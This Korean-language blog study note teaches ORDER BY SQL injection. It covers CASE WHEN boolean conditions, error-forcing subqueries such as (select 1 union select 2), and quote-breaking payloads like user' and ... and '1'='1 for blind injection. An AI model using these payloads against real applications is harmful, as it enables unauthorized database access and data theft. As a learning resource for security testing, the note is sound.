SQL 인젝션 order by

sql

 

 

sort / ord 파라미터 에 있다면 의심
sort뜻 정렬
order by sql에서 정렬

order by title
order by 99999 넣어보고 안 나오면 컬럼 갯수 초과했기 때문

order by 뒷부분에 sql 인젝션 시도하려면

참/거짓 조건을 넣어야 하는데

그런 경우 case when 사용 sql 에서 if 문이라고 한다.

case when (조건) then (참일 때) else (거짓일 때) end
case when (1=1) then 1 else 2 end 참이라면 결과가 1
case when (1=2) then 1 else 2 end 거짓이라면 결과가 2
case when (1=1) then username else title end

사용자 이름으로 출력 되어 정렬

case when (1=2) then username else title end

거짓이면 타이틀로 출력 되어 정렬

 

해석하자면

case when (1=1) then username else title end

참인 경우 username으로 정렬해라 else 거짓일 때는 title로 정렬해라

컬럼명을 정확히 찍어주기 힘들 때

case when (1=1) then 1 else (999999) end

에러를 유발하기 위해 99999
에러가 안 나는 경우가 있다 9999를 넣어도 case when으로 문자열 출력이 되는데 에러가 안 나고 그냥 정렬이 될 때도 있다,

 

case when (1=1) then 1 else (select 1 union select 2) end

이 문법은 정렬하라고 했지만 select 를 써 오류를 유발
참 거짓 출력이 다르다면 sql 인젝션 가능

 

이 select 문도 위와 비슷

(select 1 union select 2 where (1=1))
(select 1 union select 2 where (1=2))

 

user' and '1'='1
user' and '1'='2

위 두 개 차이가 없고 똑같이 나올 때
user’ 이것이 db 에러가 날 때 이걸 활용할 수 있다.

user' and (select 1 union select 2 where (1=1)) and '1'='1 참
user' and (select 1 union select 2 where (1=2)) and '1'='1 거짓

 

(select 1 union select 2)

에러를 유발할 때 가장 좋은 문법이라고 한다.

 

 

 

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다